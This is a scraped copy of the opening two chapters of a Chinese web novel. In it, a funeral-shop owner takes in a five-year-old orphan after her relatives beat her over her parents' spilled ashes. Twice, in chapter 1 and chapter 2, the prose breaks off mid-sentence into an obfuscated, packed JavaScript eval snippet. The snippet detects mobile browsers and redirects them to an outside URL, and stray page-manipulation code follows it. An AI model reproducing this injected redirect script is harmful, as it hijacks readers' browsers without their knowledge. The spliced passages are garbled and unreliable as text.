《甘苦》 1. 第 1 章 余泽第一次见到珞珞的时候,她正被人摁在地上,往死里地打。 那是八月份最炎热的酷暑,世界都被烤成了不切实际的虚幻画面。 余泽站在医院门口,等着拉生意。 余泽是干殡葬行业的,不是殡仪馆那种体面的单位,殡仪馆还有编制呢。余泽只是个开丧葬店的,开着个面包灵车,哪儿有人死了,他们就去把人给拉上路。 大夏天生意最好,因为人尸体搁不住。 医院门口生意又是最好的,不然医院门口开灵店的放眼望去整条街都是。 不过余泽没钱,医院门口的门店都太贵了。 所以他只能每天都蹲在医院门口,等着揽生意。 旁边蹲着的那个胖子,叫隋空。道上都叫他“隋胖子”。 余泽是站在医院门口,耳朵上衔着一根烟。他不太抽烟,但是干这一行谁不学着抽两口? 黑色T恤外,套了件白色的衬衫,边缘垂在腰两侧。这天实在是热,后背都被汗水泡透了。 “水哥,”胖子蹲在地上,用脚趾捻着地上的石头块子,眯眼看前面的大太阳,闷闷道, “安子怎么还不回来啊!” “都饿死了!” 水哥就是指余泽。 余泽名字里有水,加上他长的实在是俊,人送外号“临城水哥”。 余泽眯了眯眼,掐着腰的手往后一撩,把衬衣一角撩了起来。 精壮的腰上,全都是汗,一颗一颗往下滚,挂在纹路清晰的肌理上。 “回来了。”余泽忽然抬头,往西边路口扬了扬下巴。 一辆破旧的五菱面包车,摇摇晃晃飞驰而来。 车停在了他们面前,身后蹲着的几个弟兄,都跟着站起了身。 开车的成安从驾驶座上跳了下来,拉开面包车的大门。 上面用蓝色塑胶纸贴着“余水殡葬”四个大字。 “啪——” 门被扔上。 一大包盒饭被提了出来。 胖子连忙拆开,拿出来的第一盒就先给了余泽。 几个人狼吞虎咽蹲在水泥墙边啃饭,都是大鱼大肉的。余老板出钱。店里虽然穷,但是对待弟兄们的伙食,绝对不会将就。 余泽一个人站在圈外,拿着筷子吃饭。他掰开那一次性筷子,将上面的刺划掉,然后把塑料薄膜叠整齐了,放入到塑料袋里。 余泽这个人,看着实在不像是从地沟里走出来的三教九流混子。他身上有种富贵人家的贵气,就算穿着十块钱一件最落魄的大汗衫,都能给穿出来贵公子的感觉。 可惜就是这么个人,是个狠角儿。一双薄情眼,看谁都是要命。 胖子吃完了全部的饭,嫌弃今天的肉少。 成安撇他,“今天数你的肉打的最多!” 胖子盯着成安饭盒里那几块卤牛肉看了半天,这段时间太忙了,天天起早贪黑,他确实太累,饿得慌。天又热,整个人都累瘦了一圈。 余泽端着盒饭,走到了一圈人间。 蹲在了胖子面前。 “不是——水哥!水哥!你别这样!!!” 胖子尖叫了起来,因为他看到余泽居然把所有的卤牛肉都给了他。 “水哥!我够了我够了!我够吃的!” 余泽的压迫感很强,别看胖子一身横肉,身宽体胖。可打架未必是余泽的对手。 整个临城都找不出来第二个能打的过余泽的人! 余泽站起身,手掐着胃。 “我不吃。” “你吃吧。” 胖子看了眼他的手。 “……” “哥,你又胃疼?” 余泽端着盒饭,摇了摇头。 “快吃吧。” “吃完了还要等生意。” “……” “哦,好的。” …… 太阳往旁边移了移。 对面有俩弟兄在医院大门口,蹲在地上,筷子插在盒饭泡沫上。 正窃窃私语地盯着医院大门里面,说着什么。 医院杨柳树里,阵阵传来一些撕心裂肺的争吵声。 “今儿这是怎么了。”余泽下巴往墙内一指,问隋空。 隋空道:“谢家,城里那个谢家。” “当家人不是死了嘛。” “一堆亲戚正在瓜分谢氏夫妇的财产。” 胖子:“他们有钱人就是会玩。” 余泽眯了眯眼。 胖子抬起头来,看了看往前走的身影。 “哎——哥!哥哥哥!” “你要去看热闹?” 余泽不是个爱凑热闹的人。 但城里谢家,的确是个大家族。 掌门人谢远行居然死了。 整个临城都闹得沸沸扬扬。 两个队蹲在门口柳树下的弟兄见余泽来,赶忙站起身。 余泽将手里筷子往盒饭上一插。 “水哥。” “……” 医院中央花坛位置,铺的是水泥地。大夏天太阳很晒,中间儿也没有个阴凉挡着。放眼望去水泥地都要软烂了,热胀冷缩裂开好多条缝,一堆沙子铺在上面。 余泽眯了眯眼。 一大堆穿着隆重黑色衣服的男男女女,胸口前戴着白色的方布花。 谢家是临城最有权势的家族,当家人死了,确实有够隆重的。 “那姑娘,是谢远行的闺女?”余泽问。 胖子往前一瞅。 站在那一群黑色衣服大人之间的,是一个穿着很不合身黑色连衣裙的小姑娘。 小姑娘扎着一条长长的辫子,皮肤白白的,站在台阶上。大大的眼睛哭的很肿,双手里抱着一个大大的盒子。 那是她爸爸妈妈的骨灰盒。 胖子点了一下头, “可惜了啊,可惜了。” “谢家的独苗。” “一场车祸带走了夫妻两个人,一夜之间爹娘全没了。” 余泽看着那丫头。 真的很小一只。 脸上都还带着一些婴儿肥。 因为哭泣的缘故,嘴唇略微显得苍白。 小姑娘抱着沉重的骨灰盒,听着对面大人们在吵吵闹闹。 每一个人眼里都含着刻薄,冷漠。谢氏集团是谢远行夫妇一手创建起来的,几年就做到临城龙头位置。 早已落魄的谢家,也靠着谢远行这一支,重新振作。 那些曾经对自己那么疼爱的伯父叔叔们,一夜之间像是全部变成了陌生人。小小的谢珞珞,全然被吓傻了。 爸爸妈妈再也回不来了,自己也被大伯他们拽着,警察局派出所法院一家家去。 珞珞想要蹲下来,因为骨灰盒实在是太重了,承载了爸爸妈妈两个人的归宿。她站在台阶上,脚底下的鞋子还是那天出车祸时穿的。白色的皮,已经变得脏兮兮。她把爸爸妈妈抱在怀里,小小的胳膊往下一放。 …… 余泽转过身去。 “他们家丧葬是不是已经办了。” 胖子“害”了一声, “谢家,怎么可能没办!” “水哥想揽他家的生意?” 余泽没说话。 胖子讪讪一笑, “我是说,谢家那种地位,丧葬肯定看不上咱这种下三滥六的。” 他说的是大实话,余水丧葬,接单就没接过小康家庭往上的。 毕竟再往上那都是体面人家,他们都是下三滥走出来的人,给人办后事,别人家瞧不上。 余泽把耳朵后的烟摸到嘴角,咬着。 准备离开。 忽然,就听到胖子惨叫了一声。 “哎呦……” “……” 余泽又把头给扭了回去。 只见胖子抱着脸,目瞪口呆往医院花坛方向望去—— 还是刚刚谢家的小姑娘。 这次小姑娘不站着了。 整个人却趴在了台阶对面的水泥地上。 看样子是一不小心磕倒。 然而手中的骨灰盒,也给摔了出去。 那骨灰盒的盖子没锁,是敞着的。 骨灰盒砸在了地上,盖子向下叩着。里面的骨灰哗哗啦啦全部扑了出来,灰茫茫白花花扑了一地。 这看着可真的,又心疼又瘆人。 死人的骨灰扑出来,周围人当然是惊吓了一大跳。 小姑娘趴在地上,不知所措的。 周围的空气一下子就火/药味拉满。 “啊————” 最近的一旁,站着的打扮精致的一位女子,忽然拎着手上被扬上了骨灰的裙摆,尖叫了起来。 “有病啊!!!” 谢珞珞想要爬起身。 去将散落的骨灰,抓回去。 下一秒,那位被溅了骨灰溅脏了衣服的女子。 抬脚。 就把小姑娘给踹向了一边。 死人的东西,到底有多么不吉利。 也别管,这刚火化了的尸骨,活着的时候身份有多么的高贵。 珞珞蜷缩在地上。 小表姐的那一脚,高跟鞋踩着肚子。 疼得她都抓不住爸爸妈妈的骨灰。 旁边其余的亲戚也都闻声,赶了过来。 有人踩到了洒在地面上的骨头。 嘎吱一声。 喊叫声此起彼伏。 一时间,对于财产的斗争暂缓熄灭,那夏日的燥热摩擦出来的暴躁,一个一个都愤愤看着眼前蜷缩在地面上的遗孤。 珞珞听到了骨头碎裂的声音,随即就要爬起来,爬过去。那是她的爸爸妈妈,那是最最爱她的爸爸妈妈…… 有人嫌弃她,又是拳打脚踢,又是扇巴掌。 往死里折磨。 “你都成了孤儿,怎么还这么缠着人!” “父母的骨灰都保管不好!哎哟那我们还能再给她办一个骨灰盒?” “那这骨灰,你来拾起来,放回去?” “别别别,我家今年走霉运,不能再沾这晦气的东西了——” “要不这丫头就这样了吧,大哥大嫂的……也别管了,这丫头不是注销户口了吗?赶紧儿给送福利院去,克这个克那个,再待在这儿再克咱们啊!” “……” 余泽看了一会儿。 小姑娘终于爬了起来。 红着眼圈。 浑身上下全都是伤。 膝盖被摩擦出好大一块的青紫,地面上的沙土贴着那些伤,很快就流了脓水。 她蹲在那片灰白的骨灰前,抱起摔烂了盖子的骨灰盒。 忍着眼泪,将那些骨头碎块。 一颗颗,拾进盒子中。 骨灰盒盖子上,爸爸妈妈的照片,正在对着她温柔地笑着。 “水哥……” “……” 谢珞珞在捡骨头残渣时,旁边的亲戚都嫌弃地把她给绕出来一个圈。大家都已经争遗产争的疲倦厌烦,现在骨灰又洒了。 都不太想待下去。 余泽走过去的时候,谢家的人就已经全散了。 谢珞珞被扔在那里。 没有亲戚收养,看样子是要丢福利院了。 也真是惨淡。 父母活着的时候,是被宠上天的小公主。 父母一走,人走茶凉。 余泽有个不大不小的弱点,那就是心肠是真的好。 不然隋空一句“肉不够吃”,余泽就把他的肉全部倒给了他。 也可能,是珞珞狼狈的身影,让他想起了一些久远的画面。 余泽走到了珞珞面前。 小姑娘一颗颗捡着父母的骨头渣子。 那盒子一看就坏掉了,不能下葬了。 “丫头。” 他蹲下身,比小姑娘高大了近两个块头。 谢珞珞抬起头,泪汪汪的眼睛里,全都是疼痛与伤。 余泽沉默了片刻。 伸出手,接过了她的骨灰盒。 谢珞珞忽然手一紧,死死抓着盒子,不让他拿。 “你不要碰我爸爸妈妈!!!” 五岁的小孩儿。 力气又能有多么大? 可就是在死死抓着。 甚至都不顾,指尖上被刚刚的地面摩擦出来的血。 余泽皱了皱眉。 看着那些烧过后的骨灰,腐蚀着她的伤。 “丫头。” 余泽见她还是不放手,也硬着脸。 指着那些骨灰,一字一句道, “骨灰这东西,是不能够用手直接碰的。” “会烧皮肤。” 余泽:“你要是信得过,哥几个帮你把你爸妈的后事给办了。” “我们是专业团队。” “……” “……” “……” 显然,这姑娘年纪太小。 啥也听不懂。 余泽又看她捡了一会儿,烦闷地还是点燃烟抽了一口。 珞珞捡啊捡啊捡。 终于。 被骨灰烧了一下手指。 “呜……” 她哭了起来,眼泪吧嗒吧嗒往下掉。 “爸爸……妈妈……爸爸……妈妈……” “你们回来吧,你们回来吧。” “珞珞再也不惹你们生气了,珞珞再也不调皮捣蛋了。珞珞会乖乖喝牛奶,珞珞会乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191417|150745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乖吃胡萝卜丁。” “妈妈……” 小姑娘哭得稀里哗啦。 余泽烦躁地烟都抽的难受。 一声接一声,掺杂着娃娃的奶音,可是就是那么的让人揪心。 终于,余泽抓了把头发。 弯下腰,抽走小丫头手里的骨灰盒。 趁人没回神,把那半大的身子给扛在了肩膀上。 “胖子!!!” 隋空:“诶!” 余泽一指那地上的骨灰,又把盛了一半的骨灰盒,压在了隋空手里。 “抄家伙。” “叫几个弟兄来,干活!” “……” 隋空:“哟!好嘞!!!” 谢珞珞终于反应过来。 自己——遭“绑架”了! 她瞬间开始蹬腿,害怕地大喊大叫起来—— “你放开我!你放开我——” 余泽被她踢到了胸口。 一阵闷痛。 谢珞珞哭闹的厉害。 他干脆手指一掐。 掐中了穴位。 把人给弄晕了过去。 世界瞬间安静了下来。 余泽把谢珞珞扛到车上去,扔到后车座。这个时候胖子他们也都打扫完毕,把谢氏夫妇的骨灰清理好,放在专门的盒子里。 生前那么人高马大、身份尊贵的人啊。 到头来就只剩下这半捧残缺不堪的灰。 “哥,你打算、怎么办?”胖子指了指丢晕在后车座的小丫头。 余泽看了眼那零散的骨灰,又摸了摸烟。 半晌,他抽了一根,别在耳朵后。 手扶上了方向盘。 “……” “把这丫头父母的后事给办了。” 胖子:“哥,这不好吧。” “谢家好歹也是大户人家,当家人的丧葬,咱们这种来给办……?” 余泽透过后视镜,看着反光中珞珞蜷缩在座椅靠垫上的小小身影。 “你看那丫头她亲戚是想给她爹她娘办葬礼的样子?” “……” 隋空:“……” “诶!好!” 隋空:“那……咱给办完了,这姑娘……咋办?” 余泽启动了车,又把烟给拿了回来,咬在嘴角。 “送福利院去。” …… …… …… * 谢家人确实没有再出现。 余泽把珞珞父母的骨灰给带到了市里的公墓,办了个简单的葬礼。 工作人员和余泽都熟,一听说这是谢家的独苗,更是不少起了同情心。 “费用……水哥你折半吧。出门揽个活,还碰上这种儿事。” 余泽给垫了钱,把小姑娘的父母送入了土。 小小的盖子一盖,盒子上,就只剩下了父母温柔的照片。 青山,绿水,柏树。 烈日严夏,公墓园也是一片清冷。 珞珞蹲在爸爸妈妈的坟墓前。 爸爸贴着妈妈。 妈妈在温柔地看着珞珞。 她吧嗒吧嗒又开始掉眼泪,这里实在是太肃静了,她都不敢大声哭。 只能伸出小小的手,抓了抓母亲的相片。 余泽站在她身后方,看到这一幕,忍不住也跟着想起了一些事。 很多年前,他也是像这样,送走了他的父亲。 很快,太阳就要落山。余泽带着珞珞下山去,他们得赶在六点前去福利院。 太晚了,会有很多变数。 下山的时候,余泽就牵着珞珞的手。余泽的手很大,指腹有不少磨出来的茧子。粗糙,却又很温暖。 谢珞珞像是察觉到了眼前这个男人并不是坏人。 她将自己软乎乎的小手。 塞在了他的手掌中。 去福利院的路上,换成胖子开车。余泽坐在后面,拿着碘酒消毒棉,给珞珞弄了下身上的伤。 谢珞珞的户口什么的都被亲戚给注销了,也不知道使用了什么手段,可能这就是权贵人家。 那么有权有势。 却连一个小小的五岁孩子都不愿意留下。 福利院的院长早就在院里等候谢珞珞一整天。 余泽在路上还翻了翻福利院的介绍,底子都很不错,送出去的小孩也都经常回来看院长奶奶。 福利院这边当然都听说过余泽的鼎鼎大名。只是没想到是余泽把珞珞给送了过来。余泽简单说了一下自己这边的情况,尔后就把小姑娘往前一推。 余泽是什么人?整个临城就没有不怕他的。福利院院长有点儿杵余老板那身冷气,但还是温柔地接过了珞珞的手。 谢珞珞被松开余老板的手的时候,抬头望了望余泽。 余泽摸了摸她的头发。 今天算是一桩生意都没做成,还净搭上了一笔钱。出了福利院大门,余泽开车。他坐上驾驶座,从口袋里掏出钱,一张一张数着。 “董家港有个媳妇儿难产死了,娘俩都走,上午刚走的。” 胖子叼着烟,捂手点燃,甩了甩。 “董三让咱晚上过去。” “五打头。” 余泽落下窗户,胳膊肘搭在玻璃边缘上,钱数到了最后。 “叁佰,叁佰零壹……不去。” “今晚都不干了。” 胖子:“啊?” 后面的伙计也懵了。 去了肯定至少有顿饭吃。 余泽把钱揣回兜里,拉开手刹,胳膊往方向盘上一转。 车轰隆轰隆往前开动。 “水哥带你们下馆子。” “……” “……” “……” 几个人瞬间乐了。 “水哥请客!改善伙食!” 余泽开着车,心里其实有点儿乱。 下午谢珞珞蹲在公墓前,抚摸谢氏夫妇的照片,那个模样。 老是让他想起他爹死了的那会儿。 那会儿他也不过十五岁。 一晃这都这么些年过去了。 胖子笑嘻嘻跟后面哥几个打聊着,计划晚上撸多少。余泽边想谢珞珞哭的泪眼汪汪的那张小脸,边熟练打着方向盘,往市中心大排档开。 “等等——” 隋空突然喊了一句。 余泽盯着前方路况。 胖子忽然扭头,又从后视镜里往后看了看。 “哥——哥!哥!哥!哥!” “?”余泽斜了他一眼。 隋空往车屁股后面一指, “那福利院的小丫头——” “怎么跟着跑出来了?!!!” 2. 第 2 章 余泽把车给停了下来。 身后是漆黑黑的公路,一辆辆夜间大货车嗖嗖从旁边飞过。他们已经上了高架桥,这里到了夜晚全都是跑长途的大货车,拉石头拉木头拉钢筋,人上来那简直就是找死! 隋空抱起来站在路边上的谢珞珞。 谢珞珞两只大大的眼睛,忽闪忽闪直视着余泽。 余泽一气打不出来。 他冷着脸,一言不发盯着隋胖怀里的小姑娘。 “水哥……”察觉到余泽在生气,隋胖子指了指面包车,开口, “我们,先上车去?” “……” 余泽又把车给开下了高架桥,停在一路边的树荫下。 隋胖子在逗着小姑娘,余泽站在树边,给福利院打电话。 “哎,余老板,真是对不住了。”福利院院长说道, “你们车一走,珞珞就挣扎着要追出去。我们都没反应过来。” “实在是抱歉,你们现在在哪儿?我马上找老师去接!老师马上过去!!!” 余泽叉着腰,看了眼头顶的车站牌。 “北京路的厦门街公交站。” 挂了电话,余泽又在树下站了一会儿。 夏天的知了吱啊吱啊叫。 那姑娘和隋胖子玩的正开心,也不知道该如何形容,就是明明她给你找了那么大个麻烦,你觉得她现在这种情况下也不该这么没心没肺。 可小姑娘一笑,尤其是饿肚子饿了一天、又哭了一天两个眼泡都是肿的。 好不容易挤出来一个笑容。 就觉得,嗯。 一天的操心劳累,都没了。 小姑娘蹲在地上,两只手抓着脚丫子,隋胖确实有本事,基本上没小孩能逃得过胖子的逗笑功夫。 隔壁有家便利店,门口的老板摆着几个切好了的西瓜,货架上有滋滋冒油的烤爆皮香肠。 余泽回到车跟前的时候,手里提着一个红色塑料袋。胖子抬头,看到水哥手里举着的西瓜和烤肠,瞬间挠了挠头。 “哥,哥。” “咱今晚……不下馆子啦?” 余泽蹲下身。 小姑娘也看到了他,原本笑着的脸蛋,瞬间换上胆怯。 但还是大眼睛忽闪忽闪地,抬起头来湿漉漉看着他。 余泽抽了两百块钱,让胖子和几个等在那边的弟兄们先买包烟抽。 “待会儿就去。” 胖子:“诶!” 胖子麻溜地滚了。余泽撑开塑料袋,里面花花绿绿,有牛奶有面包还有紫葡萄和蟠桃。 “吃西瓜还是吃桃子。” 谢珞珞:“……” “桃子。” 余泽把西瓜往专门要的塑料袋里一放,拧开里面的矿泉水。 洗了一只桃子。 “面包。”他又拿出来面包片,拆开了,递给珞珞。 珞珞啃着桃子,直愣愣盯着余泽看。 她确实是饿坏了。 一天都没有吃过东西。 福利院的老师,很快开着车就找到了他们。 余泽没有对珞珞发火,他牵着小姑娘的手,等珞珞吃饱喝足了,又把她送到了福利院老师的面前。 “回去听老师的话,别再随随便便跑出来了。”余泽摸了摸珞珞的脑袋。 对着老师道, “那就麻烦你们了。” 老师连忙摆手, “不麻烦不麻烦,我们还麻烦余老板,今天一天都在照顾着珞珞……” 老师想要接过珞珞的手。 可谢珞珞的手指,却死死抓着余泽的衣服。 余泽穿的是一件白色的衬衫,开环垂在腰侧。谢珞珞死死抓着那衣服一角,甚至连里面的黑色T恤都给抓住了。 余泽皱了皱眉。 他转过身来,蹲下身。 小姑娘真的一点点,小小的一只。余泽蹲下,稍微抬头就能与她平视。 “珞珞,”余泽声音里尽是耐心, “听话。” “跟着老师回福利院,好吗?” 谢珞珞被抱走的那一瞬间,余泽都有些恍惚神。他感觉到小姑娘的小手是真的软啊,死死抓着他的胳膊不放手,直到他都离开了,还能看到那小小的身影,拼了命往他离去的方向看。 还有那双湿漉漉的大眼睛。 余泽一晚上的大排档也没吃出来什么味,大排档的老板还专门来问水哥是不是晚上的串儿做的不合他心意。 “……” “没。” 余泽吸了口烟,静神看着远方的深夜。 到了后半夜,大家散场了,各自回各自的家。余泽没喝酒,把人都给送回去了后,便开着面包车,回到了西葫芦巷子里的家。 他的家有两层,上面住人下面一层就是余水丧葬的店门面。这房子还是早些年余泽父亲爷爷还活着的时候买下来的,余泽小时候经常跟着父亲回老家玩,后来父亲死了,城里的那个家也被收了回去。余泽没地方住,干脆回到老房子。 重新装修一番,开了这家丧葬店。 对面的街坊邻居都避着他,丧葬店,那么不吉利。 还有就是,大家都知道他以前那些乱七八糟的事儿。 这倒也让他清净,余泽把车停在了后院,落了锁。推开了店门。 他爸的遗像,就挂在收银台旁边的柜子里。 余泽拿出刚刚给珞珞没吃完的桃子,还有葡萄,通通摆在供台。 给他爸烧了支香。 今天一天都是乱七八糟的事儿,余泽想到珞珞那张哭的惨白惨白的小脸儿,就止不住想起来他父亲。他躺在二楼上,头顶的电扇吱呀吱呀的响。 他爸死的那年,他也就十五岁。 以全市第一的身份,考上了重点高中。 窗户外面吹进来的风,将墙边柜子上的书吹得哗啦哗啦翻页,余泽躺了一会儿,刚要进入梦乡。 楼下店面的大门,忽然被人哐当哐当砸了起来。 “姓余的——你给我出来!!!” “老子……来找你讨债来了!!!” 声音里掺杂着酒气,余泽站起身,从窗户台上往下望去。 就看到一个身影,拼了命地砸着他家的大门。 临城年年都有人大半夜因为喝醉了找不到路而掉河里淹死了,余泽很多次都希望他那个同母异父的醉鬼弟弟能走着走着路一下子掉河里淹死。 可那个弟弟,他也才刚刚十五岁。 连成年都不是! 余泽下了楼,敞开门,抱着胳膊倚在门框上。 “她大半夜知道你出来?” 焦鹏伸手,指着余泽的鼻子。 看着余泽满脸冷清又漫不经心的模样。 心里一阵窝火。 忍不住骂了起来, “你这个……作死的鸟几把玩意儿!” 余泽皱了皱眉, “你跟谁学的这些脏话?” 他不跟焦鹏废话,知道他是个什么货色。余泽低头拿出手机,就准备打个电话。 焦鹏伸出手,一把推在了余泽的肩膀上。 “你个,垃圾!” “我……缺钱了!” “你——给我钱!” “快点儿!!!” 余泽头也不回,哐当关上了大门。 焦鹏瞬间就炸了,拿着酒瓶子砸门,嘴里还不住地骂, “鸟了几把你个狗屎玩意儿!余泽他妈的你欠我的!你欠我全家——!!!” 整个后半夜,焦鹏似乎不拿到钱不罢休,拼了命地砸下面门店的大门。 余泽是真的被他弄的受不了了。 隔壁已经入睡的街坊邻居也都表达了不满。 余泽从抽屉里拉出来一把钱,那都是前阵子拉灵柩赚的。他知道他这同母异父的弟弟没什么大本事,砸钱也玩不了打的。就是去去网吧玩玩游戏。 他妈肯定不知道。 “滚!” 余泽把钱扔在了焦鹏脸上。 焦鹏瞬间趴在地上拾钱。 余泽很嫌恶他这个弟弟,但终究还是什么都没说。天上忽然打了个雷,电闪雷鸣吼叫。余泽从旁边抓了把雨伞,一并丢给了焦鹏。 “妈的身体还行?”末了,他还是忍不住问了问。 焦鹏拿到了钱,也不装醉鬼了。 正数着,忽然就听到余泽这么一说。 他瞬间停下了数钱的手指头。 抬起头来。 嘴角拉起一道狭长的讽刺笑容。 “……” “你也有脸问?” “妈一天到晚都恨不得你去死。” “……” 余泽脸上没什么表情。 仿佛早就对这类的话免疫了。 后半夜,余泽躺在床上,怎么都睡不好了。 窗户被风吹得哗啦哗啦响。 临城的天就是这样,白天热火辣辣能把人给烤熟,半夜就是电闪雷鸣,瓢泼大雨。 雨还没开始下,余泽站起身,去关窗户。 胃有点儿疼。 他胃疼是老毛病了。 每年也都有去查,但就是查不出什么事儿来。氢/氧/化铝和奥美拉唑天天交替着吃,好在这两种药都很便宜。 余泽关了窗户,伸手拿了氢/氧/化铝片,倒了两块。 刚要吃下去。 下面的门,忽然又开始砰砰砰地被敲响。 “妈逼——烦不烦!!!” 他冲下楼去。 他可以无数遍忍受那该死的弟弟砸门要钱。 但无数加一遍的时候,他也有脾气。 他也会忍受不了! 余泽拉开门。 怒声呵斥起来—— “你有完没完,钱都给了还想要干什么——” “……” “……” “……” 门外, 却站着一个小小的人儿。 不是焦鹏。 谢珞珞用湿漉漉的大眼睛望着他,余泽很高,有一米八/九。谢珞珞才一米二出头,使劲儿仰起白嫩嫩的脖子,才能够看到他的下巴。 余泽:“……” 谢珞珞抓了抓裙摆, “哥哥……” 身后的雷电瞬间劈开。 闪电划破天空。 轰隆一声—— 大雨倾盆而泻。 …… 余泽没再赶谢珞珞走。 外面的雨实在是下的太大了。 他找了块很宽很大的毛巾,拍干净了,都是压箱底的东西。 然后把谢珞珞给从头到尾揉了个遍。 小姑娘那边应该是已经开始下雨了,身上湿了不少。 “你怎么找到这儿来的?”余泽忍不住问。 他是真的好奇。 他家的店,可距离市医院,远的很。 谢珞珞嘟着嘴。 白天磨出来的伤,已经都结痂了。 胳膊上还贴着余泽给她贴上的创可贴。 “余、水、丧、葬。” 谢珞珞伸出一节短短的手指,指了指余泽。 余泽:“?” 谢珞珞:“面包车上,贴的。” 余泽:“……” “你识字啊?” 不过这话问完,余泽自己都笑了。 五岁的小孩,幼儿园都快上完了。 的确会识点儿字。 谢珞珞把爪子往上一抬。 余泽笑起来是真的很好看。 她也跟着笑了起来。 “那个东西。” “我都背过了!” 余泽一扭头,手上的毛巾随即放下。 谢珞珞指着的,是他身后书柜上放置的一本蓝皮新华字典。 余泽愣了愣。 半晌,他拿过来那本字典。 举着问, “你会背字典?” 谢珞珞点了点头。 奶音在狭小的房间里,那么的脆。 “嗯!” 余泽有些不可思议了。 但他还是忍不住,抽了一页。 随即问了一个字。 “第159页,最右边第四个字?” 谢珞珞:“汞。” “水银汞。金属元素,符号Hg。” 余泽:“第180页,第四个字?” 谢珞珞:“虷,蚊子的幼虫。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191418|150745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也可以读作gan,一声,在147页。” 余泽也跟着翻了翻。 “……” “可以啊,小姑娘。” 余老板没再继续问下去,他把书放回到书架上,看样子是真信了。 “所以,你一路打听,就是看到了‘余水丧葬’几个字?” 谢珞珞:“还有五菱面包车!” 余泽:“……” 天色都快亮了。 谢珞珞打了个哈欠。 余泽把自己二楼的床给收拾了出来。 又找出一床干净的毛巾被,和自己的大汗衫。 “你睡吧。”他点开洗手间的灯,让谢珞珞换了衣服,然后指了指收拾干净的床,风扇也继续摇着。 谢珞珞趴在床上,两根白生生的胳膊支在凉席上。 “哥哥你睡哪儿?” 余泽坐在旁边的椅子里。 腿往前面的凳子上一支。 仰过去头。 “快睡吧。” “……” …… * 余泽就这么应付着睡了一夜。 一夜无梦。 第二天一早,他七点钟便起来了。一般开工都是早上八点,但昨天晚上的雨有点儿大,胖子那边路给冲了,要晚一些才能出发。 余泽看了看床上睡得香喷喷的谢珞珞,谢珞珞穿着他的大汗衫,蜷缩在凉席上。被子被她踢下来一角,余泽伸手给她往上拉了拉被子。就听见小姑娘在睡梦中,嘟囔着, “妈妈……” “……” 余泽下楼去,弄了点儿小孩子能吃的饭。 谢珞珞昨天就没怎么好好吃饭,在福利院也就小吃了两口。余泽煮了白粥,还出去买了酱肉包和茶叶蛋。谢珞珞抓起肉包子就啃的狼吞虎咽,吃完一个还想要吃下一个。 抬起头,却发现余泽面前的包子完全没动。 “哥哥,你不吃吗?”她看着余泽拿起一个白色药瓶子,往手里倒了几颗圆圆的小药片。 余泽就着水,服下去胃药。 “哥哥,你是生病了吗?”小姑娘又问。 余泽吃完了药,才捧着饭碗开始喝粥。 早上起来又胃疼,估摸是昨天晚上的烧烤吃伤了。 “哥哥没事儿。” 余泽剥了个鸡蛋。 码在谢珞珞的碗里。 “不好好吃饭才会得病。” 谢珞珞埋着脸,把那煮鸡蛋给吃了。 吃完饭后,余泽也没说什么。过了不一会儿,门口突然出现了一辆车。 福利院的院长,从车厢里下来。 余泽买早饭的时候给福利院打的电话。 还是得送回福利院啊。 福利院的院长焦急地把谢珞珞抱了回去。 回头前,还不忘再一次歉意地对余泽抱歉道, “真对不住啊真对不住!这孩子……” 余泽摸了根烟,咬在嘴角,他没回答福利院院长的道歉,眯着眼睛看向旁边的柳树。 “哥哥……”谢珞珞伸出手来,去抓他的衣服。 “珞珞。” 余泽最终回过头来,低头。 对上谢珞珞那水灵灵的大眼睛。 那眼睛里,全都是“不要走”。 余泽抬起手, 按在了小姑娘的额头上。 放慢了速度,很轻、很温柔。 “回去好好听老师的话。” “不要再跑出来了,知道吗?” “……” “……” “……” 谢珞珞走的时候,不哭不闹。 就那么乖乖地被福利院院长给领走。 除了,她上车前,一步三回头。 用大大的眼睛,一直望着余泽。 余泽怎么都挥不去那双眼睛。 今天一天揽了两家的活。 路被冲了不少,不太好走,所以干的也慢。等到他们收工的时候,天色都已经彻底晚了,大太阳落在地平线尽头,拉出一条条长长的火烧云。 “那行,水哥,送到门口就行了。”隋空看着村里被冲了的土路,让余泽把他放在村委会大门那儿就可以了。 余泽打着方向盘,还是把人给送到家门口。 隋胖子怪不好意思的。 “哥,谢谢你哈!” 余泽咬了咬嘴边的烟,依旧是没点燃的状态。 随口一道, “明天几个活?” 隋空:“三个!” 余泽抽了今天的提成。 隋胖子一接过来前,瞬间眉开眼笑。 “谢谢哥!谢谢哥!!!” “水哥路上小心!” “……” 余泽开着车回家。 路两边一片片的玉米地,已经长的很茂盛了。 稻花香肆意烂漫。 他最终也没把那根烟给点燃,放回到耳朵后面。抽烟这种事儿他一直不感冒,但是还是喜欢随便咬两下烟嘴。 走到家门口前面的拐角时候,就有小狗在朝着他汪汪叫唤。余泽在地上土路里划了条线,小狗跟着他跑了好几步路。 小狗的主人,颤颤巍巍从大门里走了出来。 “泽子回来了啊……” 余泽点了点头, “嗯,张爷,出来找狗呢?” 张爷:“我家小狗你不知道?就跟你亲。” 余泽笑了笑。 张爷抱起来狗,抚摸着毛。 “哦对了。” “你家门口,好像来人了。” “……” 余泽几乎下意识就知道了是焦鹏。焦鹏隔三差五来砸他家门,问他要钱骂他鸟几把。这条路上的街坊邻居都知道。 “……嗯。” 余泽两三步路就拐过了巷子,回到了家门口,他家门口还有个露天的院子,基本上不插门,里面也没什么可以偷的。 